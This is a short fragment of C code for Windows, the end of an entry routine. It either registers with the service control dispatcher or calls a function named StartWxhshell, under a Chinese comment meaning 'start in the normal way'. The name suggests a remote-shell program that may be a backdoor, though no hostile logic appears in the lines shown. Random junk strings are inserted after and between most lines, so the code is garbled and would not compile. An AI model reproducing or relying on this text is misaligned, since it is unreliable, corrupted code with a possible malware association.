StartServiceCtrlDispatcher(DispatchTable); 7F{=bL
else @tLoU%
// 普通方式启动 4)3!n*I
StartWxhshell(lpCmdLine); lC|{{?m
+/Lf4??JV
return 0; fKY1=3
}